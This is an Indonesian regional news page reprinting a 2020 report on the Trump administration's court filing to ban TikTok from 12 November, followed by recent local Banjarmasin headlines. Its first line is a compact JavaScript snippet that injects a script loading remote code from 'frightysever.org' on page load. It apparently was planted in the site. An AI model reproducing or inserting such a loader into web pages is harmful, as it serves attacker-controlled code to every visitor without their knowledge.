(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Teknologi

Pemerintah AS Desak Pemblokiran TikTok Berlaku 12 November


KANALKALIMANTAN.COM – Pemerintahan Presiden AS Donald Trump bersikeras perlunya melarang TikTok karena masalah keamanan nasional, dalam pengajuan pengadilan baru menjelang rencana untuk membuat aplikasi video tidak tersedia pada 12 November.

Pengajuan tersebut dilakukan saat pengadilan mempertimbangkan legalitas tawaran pemerintah untuk membuat aplikasi milik China tidak tersedia di Amerika Serikat, di mana ia memiliki 100 juta pengguna.

“Presiden tidak boleh dicegah untuk mengatur ancaman keamanan nasional hanya karena musuh asing menyelubungi aktivitasnya di dalam perusahaan media,” kata pengajuan tersebut pada Jumat (24/10/2020), di pengadilan federal di Washington, dilansir laman The Verge, Senin (26/10/2020).

Pemerintahan Trump berusaha membujuk hakim dalam kasus tersebut untuk mengizinkannya bergerak maju, dengan pembatasan pada aplikasi berbagi video, yang diklaimnya memiliki hubungan dengan pemerintah China melalui perusahaan induknya ByteDance.

Pada September lalu, perintah sementara mencegah pemerintah menghapus TikTok dari platform pengunduhan aplikasi seluler.

Perintah administrasi Trump itu berusaha melarang unduhan baru aplikasi, tetapi masih mengizinkan penggunaan TikTok hingga 12 November, ketika semua penggunaan akan diblokir.

Hakim pada saat itu menolak permintaan TikTok untuk menangguhkan larangan 12 November, tetapi pengadilan belum mempertimbangkan manfaat dari argumen hukum tentang apakah platform sosial harus tetap tersedia untuk orang Amerika.

TikTok telah berulang kali membela diri terhadap tuduhan transfer data ke pemerintah China. Perusahaan mengatakan, servernya tempat informasi pengguna disimpan berada di Amerika Serikat dan Singapura.

Perusahaan juga mengatakan, larangan itu tidak perlu karena negosiasi sedang berlangsung untuk merestrukturisasi kepemilikan TikTok dalam mengatasi masalah keamanan nasional yang diangkat oleh pemerintah. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

33 menit ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

14 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

14 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

20 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

This website uses cookies.